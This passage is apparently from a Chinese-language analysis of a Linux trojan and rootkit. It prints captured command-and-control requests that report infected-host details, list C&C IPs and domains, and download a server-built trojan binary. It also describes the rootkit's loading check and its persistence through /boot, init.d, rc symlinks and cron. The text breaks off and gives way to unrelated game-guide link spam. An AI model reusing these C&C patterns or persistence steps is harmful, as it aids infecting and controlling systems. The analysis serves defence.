request: GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin &password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C 66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005 &ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20 &kernel=3.8.0 reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
第三个GET请求则是下载上一个请求之后服务器生成的木马的二进制文件，请求的方式已经非常明显了，看包：
request: GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz reply: 1001|CE74BF62ACFE944B2167248DD0674977|create ok
而以上的三个步骤仅仅是针对于感染机器的当前系统版本已经包含在远端服务器中的情况。如果当然的操作系统版本信息并没有包含其中，那么脚本文件则会首先定位到内核头文件的/lib/modules/%s/build/目录中（s%代表uname命令返回的特定信息），然后将内核文件打包并上传到C&C服务器上，这里上传是用的mini这个程序。当然，对于一个产业化的木马来说，这种情况是不多见的，一般的发行版本的内核都是已经被提前编译好的，这里所提及的操作系统的内核信息不在C&C服务器中的情况大多是比较特殊的服务器。
该rootkit组件是一个可装载的内核模块（LKM）。在装载之前，需要通过vermagic的值检查。如果绕过检查失败，则该脚本会安装一个木马来替代rootkit组件。
结构和可持续性
主程序的二进制结构如下图所示：
该木马的持续化的方式是通过多种方式进行的。首先，它将自己安装在/boot/目录下，然后命名为一个包含10个字节的字符串。然后脚本将木马以相同的名字在/etc/init.d/ 目录下创建，同时在/etc/rc%u.d/S90%s目录建立五个符号链接，其中u%是1-5，s%是一个随机值。这样保证每次重启系统木马可以随时启动起来。而且，脚本还会对/etc/cron.hourly/cron.sh文件加入以下内容：
小编推荐阅读巫妖技能加点技能攻略指南（充分发挥巫妖技能的优势，打造一支无敌的队伍）
阅读《哈利波特魔法觉醒》肖像任务拯救攻略技巧指南（如何完成肖像任务？一步一步指导）
阅读涅槃技能加点技巧攻略秘籍（从零开始，掌握涅槃技能加点的正确方法，让你的角色更加强大！）
阅读无限螺旋出装攻略技巧指南（掌握无限螺旋装备搭配技巧，成为无敌战士）
阅读以为小主而战——《乐土》金牌打手养成计划一览大全（让你在游戏中成为最强金牌打手！）
阅读火候技能选择攻略技巧大全（宝可梦火候技能选择攻略，助你在战斗中脱颖而出！）
阅读《以最后一步第二章为例，怎样打通游戏第二章？》（掌握攻略技巧大全，轻松突破游戏难关）
阅读《明日之后》秋日森林宝箱位置探索攻略技巧大全（揭秘宝箱位置，轻松获得珍贵道具）
阅读姜子牙打野技能加点攻略与技巧大全（王者荣耀姜子牙打野出装及技能加点详解）
阅读《一起来捉妖春节活动技巧攻略指南》（尾火虎打法技巧详解，助你顺利抓妖）
阅读《暗区突围听声训练全攻略最新指南》（游戏迷必读，提升听觉技能的最佳方式）
阅读《崩坏3》鬼铠重磁暴斩解析最新（属性、技能、加点一网打尽，玩转鬼铠重磁暴斩）
阅读《鬼泣巅峰之战》铭文升级攻略技巧指南，让你的英雄更加强大！（打造超级英雄，从铭文升级开始！）
阅读
